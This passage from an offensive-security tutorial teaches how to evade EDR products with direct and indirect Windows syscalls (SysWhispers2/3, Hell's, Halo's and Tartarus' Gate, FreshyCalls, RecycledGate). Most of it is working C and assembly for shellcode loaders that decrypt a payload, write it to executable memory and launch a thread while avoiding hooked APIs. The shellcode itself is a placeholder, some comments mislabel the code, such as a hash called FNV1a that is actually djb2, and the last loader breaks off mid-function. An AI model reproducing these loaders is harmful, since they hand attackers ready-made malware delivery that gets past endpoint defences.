    mov ecx, 3DE4A5FDh         ; Hash of "NtAllocateVirtualMemory"
    call SW2_GetSyscallNumber  ; Returns syscall number in EAX
    add rsp, 28h
    mov r10, rcx
    syscall                    ; Issue syscall with resolved number
    ret
NtAllocateVirtualMemory ENDP

8.4 Using SysWhispers2 in Your Loader

// loader_sw2.c — Complete loader using SysWhispers2 generated stubs
#include "syscalls.h"   // SysWhispers2 generated header
#include <stdio.h>

// Example encrypted shellcode placeholder (XOR key 0x41)
unsigned char enc_shellcode[] = {
    0xD1, 0xD1, 0xD1, 0x82  // XOR'd: 0x90,0x90,0x90,0xC3 = NOP NOP NOP RET
};
unsigned int sc_len = sizeof(enc_shellcode);
char xor_key = 0x41;

int main(void) {
    // STEP 0: Populate the syscall number table
    // This scans ntdll.dll at runtime to find correct syscall numbers
    // MUST be called before any SW2_ functions!
    if (!SW2_PopulateSyscallList()) {
        printf("[-] Failed to populate syscall list\n");
        return 1;
    }
    printf("[+] Syscall list populated successfully\n");

    HANDLE hProc = (HANDLE)-1;  // -1 = current process pseudohandle

    // STEP 1: Allocate RW memory (direct syscall — EDR bypass!)
    PVOID baseAddr = NULL;
    SIZE_T region = sc_len;
    NTSTATUS status = NtAllocateVirtualMemory(
        hProc,
        &baseAddr,
        0,
        &region,
        MEM_COMMIT | MEM_RESERVE,   // 0x3000
        PAGE_READWRITE               // 0x04 — RW only, not executable yet
    );
    if (status != 0) {
        printf("[-] NtAllocateVirtualMemory failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Allocated %zu bytes at 0x%p\n", region, baseAddr);

    // STEP 2: Decrypt shellcode (in-stack buffer, not from original buffer)
    unsigned char decoded[sizeof(enc_shellcode)];
    for (unsigned int i = 0; i < sc_len; i++) {
        decoded[i] = enc_shellcode[i] ^ (unsigned char)xor_key;
    }

    // STEP 3: Write shellcode via direct syscall
    SIZE_T written = 0;
    status = NtWriteVirtualMemory(
        hProc,
        baseAddr,
        decoded,
        sc_len,
        &written
    );
    if (status != 0) {
        printf("[-] NtWriteVirtualMemory failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Wrote %zu bytes\n", written);

    // Wipe decoded buffer from stack immediately
    SecureZeroMemory(decoded, sizeof(decoded));

    // STEP 4: Change protection to RX (no write)
    PVOID protBase = baseAddr;
    SIZE_T protSize = sc_len;
    ULONG oldProtect = 0;
    status = NtProtectVirtualMemory(
        hProc,
        &protBase,
        &protSize,
        PAGE_EXECUTE_READ,   // 0x20 — executable + readable, NOT writable
        &oldProtect
    );
    if (status != 0) {
        printf("[-] NtProtectVirtualMemory failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Memory marked RX (was: 0x%X)\n", oldProtect);

    // STEP 5: Create thread via direct syscall (no CreateThread!)
    HANDLE hThread = NULL;
    status = NtCreateThreadEx(
        &hThread,
        GENERIC_EXECUTE,    // Thread access rights
        NULL,               // Object attributes (NULL = defaults)
        hProc,              // Process handle (current)
        baseAddr,           // Thread start address = shellcode
        NULL,               // Argument = NULL
        0,                  // CreateFlags = 0 (run immediately)
        0, 0, 0, NULL       // Stack parameters (all 0 = defaults)
    );
    if (status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Thread created: 0x%p — shellcode executing\n", hThread);

    // STEP 6: Wait for thread (optional — beacon will loop indefinitely)
    NtWaitForSingleObject(hThread, FALSE, NULL);

    return 0;
}
# Build with SysWhispers2 generated stubs:

# Windows (MSVC + MASM):
cl.exe /nologo loader_sw2.c syscalls.c /Fe:loader.exe
ml64.exe /c /nologo syscallsstubs.asm
link.exe /nologo loader_sw2.obj syscalls.obj syscallsstubs.obj /out:loader.exe

# Linux cross-compile (NASM version):
# Note: Use SysWhispers3 for NASM output on Linux — see next section
python3 SysWhispers2/syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx --output syscalls
# SysWhispers2 generates MASM — for Linux, use SysWhispers3 or convert to NASM manually

9. SysWhispers3 — Advanced Generation with More Options

SysWhispers3 extends SysWhispers2 with support for multiple output formats, x86/WoW64 compatibility, egg-hunting (for obfuscation), and inline assembly output.

9.1 Installation

git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip3 install -r requirements.txt

9.2 SysWhispers3 Modes and Output Formats

# ─── Standard mode (same as SW2 but more options) ───
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output syscalls3

# ─── Specify output format ───
# MASM (default — for MSVC builds on Windows):
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x64

# MinGW (GNU AS format — for cross-compile from Linux):
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x64 --compiler mingw

# NASM format (for nasm -f win64):
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x64 --compiler nasm

# ─── x86 / WoW64 support ───
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x86

# ─── Egg hunter mode (obfuscated — hides syscall stubs in random locations) ───
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --output sc3_egg \
    --recovery EGG_HUNTER

# ─── Stack randomization (randomize the return stack frame) ───
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --output sc3_stack \
    --recovery JUMPER_RANDOMIZED

# ─── Preset — all NT functions ───
python3 syswhispers.py --preset all --output sc3_all

9.3 MinGW / NASM Build (Cross-Compile from Linux)

# SysWhispers3 with MinGW output:
python3 SysWhispers3/syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,\
NtCreateThreadEx,NtOpenProcess,NtWaitForSingleObject \
    --output syscalls3 \
    --arch x64 \
    --compiler mingw

# This generates:
#   syscalls3.h     → C header with declarations
#   syscalls3.c     → Runtime resolution logic
#   syscalls3.asm   → GNU AS format stubs

# Compile (Linux → Windows cross-compile):
x86_64-w64-mingw32-as -o syscalls3.o syscalls3.asm
x86_64-w64-mingw32-gcc -c syscalls3.c -o syscalls3_c.o -I.
x86_64-w64-mingw32-gcc loader.c syscalls3.o syscalls3_c.o -o loader.exe -mwindows -Wall

9.4 Egg Hunter Mode (Advanced Obfuscation)

Egg Hunter mode hides the syscall stubs — instead of the stubs being in your .text section, they're written to memory at runtime and found by scanning for a marker ("egg"). This defeats some static analysis tools that look for syscall stub patterns.

// How egg hunter mode works internally (concept):
// 1. At compile time, stubs are obfuscated/hidden
// 2. At runtime, SW3_GetSyscallAddress() scans memory for the egg marker
// 3. When found, it extracts and uses the stub
// 4. This makes static analysis much harder

// Usage is identical to normal SysWhispers3:
#include "syscalls3.h"

int main(void) {
    SW3_PopulateSyscallList();  // Egg hunter variant — different internal mechanics
    // ... same NtXxx calls as before
}

10. Hell's Gate — Dynamic Syscall Number Resolution

Hell's Gate solves the problem of EDR-hooked functions: if NtAllocateVirtualMemory is hooked, the first bytes are a JMP — the original syscall number is gone. Hell's Gate reads the syscall number directly from the function bytes when clean, and has fallback strategies when hooked.

10.1 How Hell's Gate Reads Syscall Numbers

// GitHub: https://github.com/am0nsec/HellsGate

// The key insight: if a function is unhooked, bytes 4-7 (after 4C 8B D1 B8)
// contain the syscall number directly. Read them instead of hardcoding.

typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;       // Address of the Nt* function
    DWORD64 dwHash;         // FNV1a hash of function name
    WORD    wSystemCall;    // Extracted syscall number
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;

// Core resolution function:
BOOL GetSyscallNumber(PVX_TABLE_ENTRY pVxTableEntry) {
    PBYTE funcAddr = (PBYTE)pVxTableEntry->pAddress;

    // Check for clean stub pattern: 4C 8B D1 B8 [num] 0F 05 C3
    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B &&
        funcAddr[2] == 0xD1 && funcAddr[3] == 0xB8) {
        // Syscall number is at bytes [4..5] (WORD)
        pVxTableEntry->wSystemCall = *(WORD*)(funcAddr + 4);
        return TRUE;
    }

    // If hooked (starts with E9 JMP), try scanning nearby stubs
    // (Halo's Gate extension — see next section)
    return FALSE;
}

10.2 Complete Hell's Gate Implementation

// hells_gate.c — Self-contained Hell's Gate implementation
// Adapted from the original PoC for clarity

#include <windows.h>
#include <winternl.h>

// FNV1a hash constant
#define FNV1A_PRIME   0x01000193
#define FNV1A_SEED    0x811c9dc5

typedef struct _VX_TABLE_ENTRY {
    PVOID  pAddress;
    DWORD  wSystemCall;
} VX_TABLE_ENTRY;

// ─────────────────────────────────────────────────────────────────
// FNV1a hash function — used to match function names without
// calling GetProcAddress (which EDR might hook)
// ─────────────────────────────────────────────────────────────────
DWORD djb2_hash(PCHAR str) {
    DWORD hash = 5381;
    int c;
    while ((c = (unsigned char)*str++) != 0)
        hash = ((hash << 5) + hash) + c;
    return hash;
}

// ─────────────────────────────────────────────────────────────────
// Get function address from ntdll by walking its Export Directory
// WITHOUT calling GetProcAddress (bypasses any IAT hook)
// ─────────────────────────────────────────────────────────────────
PVOID GetFunctionAddressFromEAT(HMODULE hNtdll, DWORD nameHash) {
    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS ntHdr  = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHdr->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY expDir = (PIMAGE_EXPORT_DIRECTORY)
        ((BYTE*)hNtdll + ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD nameRva     = (PDWORD)((BYTE*)hNtdll + expDir->AddressOfNames);
    PWORD  nameOrd     = (PWORD) ((BYTE*)hNtdll + expDir->AddressOfNameOrdinals);
    PDWORD funcRva     = (PDWORD)((BYTE*)hNtdll + expDir->AddressOfFunctions);

    for (DWORD i = 0; i < expDir->NumberOfNames; i++) {
        PCHAR funcName = (PCHAR)((BYTE*)hNtdll + nameRva[i]);
        // Only look at Nt* functions
        if (funcName[0] != 'N' || funcName[1] != 't') continue;
        if (djb2_hash(funcName) == nameHash) {
            DWORD ordinal = nameOrd[i];
            return (PVOID)((BYTE*)hNtdll + funcRva[ordinal]);
        }
    }
    return NULL;
}

// ─────────────────────────────────────────────────────────────────
// Hell's Gate: extract syscall number from function bytes
// If clean, read from bytes[4..5]
// If hooked, return FALSE (caller handles via Halo's Gate)
// ─────────────────────────────────────────────────────────────────
BOOL ExtractSyscallNumber(PVOID funcAddr, PDWORD pSyscallNum) {
    PBYTE p = (PBYTE)funcAddr;

    // Pattern: 4C 8B D1 B8 [syscall_num] 0F 05 C3
    if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) {
        *pSyscallNum = *(DWORD*)(p + 4) & 0xFFFF;  // Lower 2 bytes = syscall num
        return TRUE;
    }
    return FALSE;  // Likely hooked
}

// Usage:
int HellsGateDemo(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    // Get NtAllocateVirtualMemory address WITHOUT GetProcAddress
    DWORD hash_NtAlloc = djb2_hash("NtAllocateVirtualMemory");
    PVOID pNtAlloc = GetFunctionAddressFromEAT(hNtdll, hash_NtAlloc);

    DWORD sysnum = 0;
    if (!ExtractSyscallNumber(pNtAlloc, &sysnum)) {
        printf("[-] NtAllocateVirtualMemory is hooked — trying Halo's Gate\n");
        // See Section 11 for hook recovery
        return 1;
    }

    printf("[+] NtAllocateVirtualMemory syscall number: 0x%04X\n", sysnum);
    // Store sysnum for use in your assembly stub
    return 0;
}

11. Halo's Gate — Syscall Recovery from Hooked Functions

What it means: When an EDR hooks a function (overwrites the first bytes with JMP), Hell's Gate can't read the syscall number from it. Halo's Gate solves this by looking at adjacent functions in ntdll — they're laid out sequentially in memory, and their syscall numbers are consecutive integers. Find a clean neighbor, adjust the count, recover the target's syscall number.

11.1 The Key Insight

ntdll.dll export table (conceptual layout in memory):
─────────────────────────────────────────────────────
NtAccess­Check             syscall 0x0000  ← sysnum 0 (first)
NtAccess­CheckAnd­Audit    syscall 0x0001
...
NtAllocateVirtualMemory    syscall 0x0018  ← [HOOKED — can't read sysnum]
NtAllocateVirtualMemoryEx  syscall 0x00CD  ← [CLEAN — can read sysnum]
...

If NtAllocateVirtualMemory (sorted index N) is hooked,
and NtAllocateVirtualMemoryEx (sorted index N+1) is clean with sysnum X,
then NtAllocateVirtualMemory sysnum = X - 1
─────────────────────────────────────────────────────

11.2 Implementation

// halo_gate.c — Recovery for hooked functions

// Syscall numbers are assigned in alphabetical order of Nt* function names.
// Walk up/down from the hooked function to find clean neighbors,
// then calculate the hooked function's syscall number by offset.

DWORD RecoverSyscallFromNeighbors(HMODULE hNtdll, PVOID hookedFuncAddr) {
    // Each Nt* stub in ntdll is approximately 32 bytes apart
    // (exact size varies — safer to use EAT ordering)
    PBYTE base = (PBYTE)hookedFuncAddr;

    // Walk FORWARD through adjacent stubs (usually ~32 bytes each)
    for (int offset = 1; offset <= 20; offset++) {
        // Approximate next stub location
        PBYTE candidate = base + (offset * 32);

        // Check if this looks like a clean syscall stub
        if (candidate[0] == 0x4C && candidate[1] == 0x8B &&
            candidate[2] == 0xD1 && candidate[3] == 0xB8) {
            DWORD neighborSysnum = *(DWORD*)(candidate + 4) & 0xFFFF;
            // Our hooked function's sysnum = neighbor - offset
            return neighborSysnum - offset;
        }
    }

    // Walk BACKWARD
    for (int offset = 1; offset <= 20; offset++) {
        PBYTE candidate = base - (offset * 32);
        if (candidate[0] == 0x4C && candidate[1] == 0x8B &&
            candidate[2] == 0xD1 && candidate[3] == 0xB8) {
            DWORD neighborSysnum = *(DWORD*)(candidate + 4) & 0xFFFF;
            return neighborSysnum + offset;
        }
    }

    return 0xFFFFFFFF;  // Failed to recover
}

// ─────────────────────────────────────────────────────────────────
// More robust version: Use EAT-based sorted ordering
// ─────────────────────────────────────────────────────────────────

typedef struct _SYSCALL_ENTRY {
    PVOID  pAddress;
    DWORD  syscallNum;
    CHAR   name[128];
} SYSCALL_ENTRY;

// Build sorted syscall table from EAT
// Then for a hooked function, find its position in sorted order
// and calculate: syscallNum = position_in_sorted_Nt_functions

DWORD GetSyscallViaEATSorting(HMODULE hNtdll, const char* targetFunc) {
    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS ntHdr  = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHdr->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
        ((BYTE*)hNtdll + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);

    PDWORD nameRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfNames);
    PWORD  nameOrd = (PWORD) ((BYTE*)hNtdll + exp->AddressOfNameOrdinals);
    PDWORD funcRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfFunctions);

    // Step 1: Collect all Nt* function addresses
    PVOID ntFuncs[1024];
    DWORD ntCount = 0;
    PVOID targetAddr = NULL;

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        PCHAR name = (PCHAR)((BYTE*)hNtdll + nameRva[i]);
        if (name[0] == 'N' && name[1] == 't') {
            PVOID addr = (PVOID)((BYTE*)hNtdll + funcRva[nameOrd[i]]);
            ntFuncs[ntCount++] = addr;
            if (strcmp(name, targetFunc) == 0)
                targetAddr = addr;
        }
    }

    // Step 2: Sort by address (ascending) — syscall numbers match this order
    // Bubble sort (simple — small array):
    for (DWORD i = 0; i < ntCount; i++)
        for (DWORD j = 0; j < ntCount - i - 1; j++)
            if ((ULONG_PTR)ntFuncs[j] > (ULONG_PTR)ntFuncs[j+1]) {
                PVOID tmp = ntFuncs[j]; ntFuncs[j] = ntFuncs[j+1]; ntFuncs[j+1] = tmp;
            }

    // Step 3: Find targetAddr's position — that's its syscall number
    for (DWORD i = 0; i < ntCount; i++)
        if (ntFuncs[i] == targetAddr)
            return i;  // Position = syscall number!

    return 0xFFFFFFFF;
}

12. Tartarus' Gate — EAT-Based Syscall Recovery

What it means: A variation that combines Hell's Gate and Halo's Gate, specifically dealing with cases where ntdll has been freshly loaded from disk (bypassing in-memory EDR hooks) or where the EDR has hooked ntdll so aggressively that neighbor scanning fails.

12.1 The Core Approach

// Tartarus' Gate — 3-strategy cascade:
// 1. Try Hell's Gate (direct syscall number from clean stub)
// 2. Try Halo's Gate (recover from hooked stub via neighbor scanning)
// 3. Load fresh ntdll from disk and read syscall number from the disk copy

// Strategy 3: Load ntdll from disk to bypass in-memory hooks
DWORD GetSyscallFromFreshNtdll(const char* funcName) {
    // Load a SECOND copy of ntdll.dll from disk
    // This copy is NOT in the process's module list — EDR won't hook it
    HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* ntdllBuf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
    DWORD bytesRead;
    ReadFile(hFile, ntdllBuf, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    // Parse the PE headers of the disk copy
    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)ntdllBuf;
    PIMAGE_NT_HEADERS ntHdr  = (PIMAGE_NT_HEADERS)(ntdllBuf + dosHdr->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
        (ntdllBuf + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);

    PDWORD nameRva = (PDWORD)(ntdllBuf + exp->AddressOfNames);
    PWORD  nameOrd = (PWORD) (ntdllBuf + exp->AddressOfNameOrdinals);
    PDWORD funcRva = (PDWORD)(ntdllBuf + exp->AddressOfFunctions);

    DWORD result = 0xFFFFFFFF;
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        PCHAR name = (PCHAR)(ntdllBuf + nameRva[i]);
        if (strcmp(name, funcName) == 0) {
            PBYTE func = ntdllBuf + funcRva[nameOrd[i]];
            // Check for clean stub (from disk — should always be clean)
            if (func[0] == 0x4C && func[1] == 0x8B &&
                func[2] == 0xD1 && func[3] == 0xB8) {
                result = *(DWORD*)(func + 4) & 0xFFFF;
            }
            break;
        }
    }

    HeapFree(GetProcessHeap(), 0, ntdllBuf);
    return result;
}

13. FreshyCalls / RecycledGate — Syscall Number Sorting

What it means: FreshyCalls resolves syscall numbers by sorting Nt* function addresses from the EAT in ascending order. Since Windows assigns syscall numbers sequentially (alphabetically by function name at each major version), the address-sorted order corresponds to syscall number order.

13.1 FreshyCalls Logic

// The key discovery: in ntdll.dll, Nt* functions appear in memory
// in the SAME ORDER as their syscall numbers (lowest address = lowest syscall number).
// This is because they're laid out alphabetically in the export table,
// and syscall numbers are assigned alphabetically at each Windows release.

// So: sort all Nt* function addresses → find position of your target → that's its syscall number

// RecycledGate extends this by additionally checking for hooked stubs
// and using the sorted address position to recover the number even when hooked.

typedef struct _SYSCALL_INFO {
    PVOID  address;
    CHAR   name[128];
    DWORD  syscallNum;
} SYSCALL_INFO;

int CompareByAddress(const void* a, const void* b) {
    return (int)((ULONG_PTR)((SYSCALL_INFO*)a)->address - (ULONG_PTR)((SYSCALL_INFO*)b)->address);
}

DWORD RecycledGate_GetSyscallNumber(const char* targetFunc) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS ntHdr  = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHdr->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
        ((BYTE*)hNtdll + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);

    PDWORD nameRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfNames);
    PWORD  nameOrd = (PWORD) ((BYTE*)hNtdll + exp->AddressOfNameOrdinals);
    PDWORD funcRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfFunctions);

    // Collect all Nt* functions
    SYSCALL_INFO entries[1024];
    int count = 0;

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        PCHAR name = (PCHAR)((BYTE*)hNtdll + nameRva[i]);
        if (name[0] == 'N' && name[1] == 't') {
            entries[count].address = (PVOID)((BYTE*)hNtdll + funcRva[nameOrd[i]]);
            strncpy_s(entries[count].name, sizeof(entries[count].name), name, _TRUNCATE);
            count++;
        }
    }

    // Sort by address (ascending) = sort by syscall number
    qsort(entries, count, sizeof(SYSCALL_INFO), CompareByAddress);

    // Assign syscall numbers based on sorted position
    for (int i = 0; i < count; i++)
        entries[i].syscallNum = i;

    // Find target function
    for (int i = 0; i < count; i++)
        if (strcmp(entries[i].name, targetFunc) == 0)
            return entries[i].syscallNum;

    return 0xFFFFFFFF;
}

14. Indirect Syscalls — Defeating Stack-Based Hook Detection

What it means: Modern EDRs have evolved beyond checking if hooks are called — they now check WHERE the syscall instruction executes. If syscall runs from inside YOUR code (not from ntdll.dll's address range), the EDR flags it as suspicious. Indirect syscalls solve this by jumping to the syscall instruction that exists INSIDE ntdll, so from the kernel's perspective, the syscall came from ntdll.

14.1 The Problem with Direct Syscalls (Stack Traces)

Direct Syscall — EDR can detect this:

Call Stack when syscall fires:
  [3] NtAllocateVirtualMemory (YOUR CODE in loader.exe)  ← syscall is HERE (suspicious!)
  [2] Allocate() in loader.exe
  [1] main() in loader.exe

The 'syscall' instruction should execute inside ntdll.dll address range.
An EDR that monitors the return address of syscalls can see that yours came from loader.exe.
Some EDRs (CrowdStrike, SentinelOne) now check this.
Indirect Syscall — EDR sees a normal call stack:

Call Stack when syscall fires:
  [3] NtAllocateVirtualMemory + 0x8 (INSIDE NTDLL)    ← syscall is HERE (looks normal!)
  [2] Allocate() in loader.exe
  [1] main() in loader.exe

The 'syscall' instruction runs at a legitimate ntdll address.
EDR sees: "a function in loader.exe called NtAllocateVirtualMemory in ntdll — normal."

14.2 Finding the syscall Instruction Inside ntdll

// Find the address of the 'syscall' instruction (opcode: 0F 05)
// inside a specific Nt* function in ntdll

PVOID FindSyscallAddress(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PBYTE func = (PBYTE)GetProcAddress(hNtdll, funcName);
    if (!func) return NULL;

    // Scan forward up to 32 bytes for the 'syscall' opcode (0F 05)
    for (int i = 0; i < 32; i++) {
        if (func[i] == 0x0F && func[i+1] == 0x05) {
            return func + i;  // Return address OF the syscall instruction
        }
    }

    // If hooked (JMP at start), we need to find the syscall elsewhere
    // Option A: Find it in a NEIGHBOR function (clean) and use that address
    // The 'syscall' instruction is at the same relative offset in all clean stubs
    // Option B: Use Halo's Gate to find a clean neighbor, then get its syscall addr

    return NULL;
}

// Usage:
void* syscall_addr = FindSyscallAddress("NtAllocateVirtualMemory");
// syscall_addr now points to 0F 05 inside ntdll — use this in your stub

14.3 Indirect Syscall Assembly Stub

; indirect_syscall.asm — Indirect syscall stub
; 'syscall' jumps to the instruction INSIDE ntdll, not in our code

.data
    ; These addresses are populated at runtime
    EXTERN _syscall_addr: QWORD    ; Address of 'syscall' instruction in ntdll
    EXTERN _syscall_num:  DWORD    ; Resolved syscall number

.code

NtAllocateVirtualMemory_Indirect PROC
    ; Set up syscall number (same as direct)
    mov r10, rcx
    mov eax, DWORD PTR [_syscall_num]   ; Dynamically resolved syscall number

    ; Instead of 'syscall' here, JMP to ntdll's 'syscall' instruction
    jmp QWORD PTR [_syscall_addr]       ; Jump into ntdll at 0F 05 instruction

    ; Execution returns here after syscall (via the 'ret' in ntdll stub)
NtAllocateVirtualMemory_Indirect ENDP

14.4 Complete Indirect Syscall Implementation in C (Runtime)

// indirect_syscall.c — Full indirect syscall loader
// No external assembly files required — uses inline asm or runtime patching

#include <windows.h>
#include <stdio.h>

// ─────────────────────────────────────────────────────────────────
// Step 1: Resolve syscall number using FreshyCalls/EAT sorting
// Step 2: Find the 'syscall' instruction address in ntdll
// Step 3: At runtime, write a stub that: sets EAX, then JMPs to ntdll's syscall
// ─────────────────────────────────────────────────────────────────

typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(
    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG
);

typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(
    HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T
);

typedef NTSTATUS (NTAPI* NtProtectVirtualMemory_t)(
    HANDLE, PVOID*, PSIZE_T, ULONG, PULONG
);

typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(
    PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID
);

// Build indirect syscall stub dynamically in allocated memory
// Stub layout (x64, 16 bytes):
//   mov r10, rcx       (4C 8B D1)                          3 bytes
//   mov eax, <sysnum>  (B8 XX XX XX XX)                    5 bytes
//   jmp [rip+0]        (FF 25 00 00 00 00)                  6 bytes + 8 byte addr
//   <syscall_addr>                                          8 bytes

PVOID BuildIndirectStub(DWORD sysnum, PVOID syscallAddr) {
    // Allocate RWX memory for the stub
    BYTE* stub = (BYTE*)VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!stub) return NULL;

    int offset = 0;
    // mov r10, rcx
    stub[offset++] = 0x4C;
    stub[offset++] = 0x8B;
    stub[offset++] = 0xD1;

    // mov eax, <sysnum>
    stub[offset++] = 0xB8;
    *(DWORD*)(stub + offset) = sysnum;
    offset += 4;

    // jmp [rip+0] — absolute indirect jump
    stub[offset++] = 0xFF;
    stub[offset++] = 0x25;
    *(DWORD*)(stub + offset) = 0;  // RIP+0 displacement
    offset += 4;

    // Target address (placed immediately after the jmp instruction)
    *(PVOID*)(stub + offset) = syscallAddr;
    offset += 8;

    return stub;
}

// ─────────────────────────────────────────────────────────────────
// Main: Build and use indirect syscall stubs
// ─────────────────────────────────────────────────────────────────

PVOID FindSyscallInstruction(const char* funcName) {
    PBYTE func = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
    if (!func) return NULL;
    for (int i = 0; i < 32; i++)
        if (func[i] == 0x0F && func[i+1] == 0x05) return func + i;

    // If hooked, walk to a clean neighbor to get a valid 'syscall' address
    // All clean stubs have 'syscall' at offset +8 from start
    for (int offset = 1; offset <= 10; offset++) {
        PBYTE neighbor = func + (offset * 32);
        if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[2] == 0xD1)
            for (int i = 0; i < 16; i++)
                if (neighbor[i] == 0x0F && neighbor[i+1] == 0x05)
                    return neighbor + i;
    }
    return NULL;
}

DWORD GetSyscallNumberFromEAT(const char* funcName) {
    // Use EAT-sorted approach (simplified — full version in Section 13)
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    PBYTE func = (PBYTE)GetProcAddress(ntdll, funcName);
    if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1 && func[3] == 0xB8)
        return *(DWORD*)(func + 4) & 0xFFFF;
    // If hooked, use EAT-sort method (RecycledGate) — see Section 13
    return 0;
}

int main(void) {
    // Encrypted shellcode (XOR 0x41 — replace with real payload)
    unsigned char enc_sc[] = { 0xD1, 0xD1, 0xD1, 0x82 };
    unsigned int sc_len = sizeof(enc_sc);

    // Resolve syscall numbers
    DWORD sn_NtAlloc   = GetSyscallNumberFromEAT("NtAllocateVirtualMemory");
    DWORD sn_NtWrite   = GetSyscallNumberFromEAT("NtWriteVirtualMemory");
    DWORD sn_NtProtect = GetSyscallNumberFromEAT("NtProtectVirtualMemory");
    DWORD sn_NtThread  = GetSyscallNumberFromEAT("NtCreateThreadEx");

    // Find syscall instruction addresses (inside ntdll)
    PVOID sa_NtAlloc   = FindSyscallInstruction("NtAllocateVirtualMemory");
    PVOID sa_NtWrite   = FindSyscallInstruction("NtWriteVirtualMemory");
    PVOID sa_NtProtect = FindSyscallInstruction("NtProtectVirtualMemory");
    PVOID sa_NtThread  = FindSyscallInstruction("NtCreateThreadEx");

    // Build indirect stubs
    NtAllocateVirtualMemory_t  pNtAlloc   = (NtAllocateVirtualMemory_t)  BuildIndirectStub(sn_NtAlloc,   sa_NtAlloc);
    NtWriteVirtualMemory_t     pNtWrite   = (NtWriteVirtualMemory_t)     BuildIndirectStub(sn_NtWrite,   sa_NtWrite);
    NtProtectVirtualMemory_t   pNtProtect = (NtProtectVirtualMemory_t)   BuildIndirectStub(sn_NtProtect, sa_NtProtect);
    NtCreateThreadEx_t         pNtThread  = (NtCreateThreadEx_t)         BuildIndirectStub(sn_NtThread,  sa_NtThread);

    printf("[+] Indirect stubs built\n");
    printf("    NtAllocateVirtualMemory: 0x%04X → syscall @ 0x%p\n", sn_NtAlloc, sa_NtAlloc);

    HANDLE hProc = (HANDLE)-1;

    // Allocate memory via indirect syscall
    PVOID base = NULL;
    SIZE_T sz = sc_len;
    pNtAlloc(hProc, &base, 0, &sz, 0x3000, 0x04);

    // Decrypt and write shellcode
    unsigned char decoded[64];
    for (unsigned int i = 0; i < sc_len; i++) decoded[i] = enc_sc[i] ^ 0x41;
    SIZE_T written = 0;
    pNtWrite(hProc, base, decoded, sc_len, &written);
    SecureZeroMemory(decoded, sizeof(decoded));

    // Change to RX
    PVOID pb = base; SIZE_T ps = sc_len; ULONG old;
    pNtProtect(hProc, &pb, &ps, 0x20, &old);

    // Create thread via indirect syscall
    HANDLE hThread = NULL;
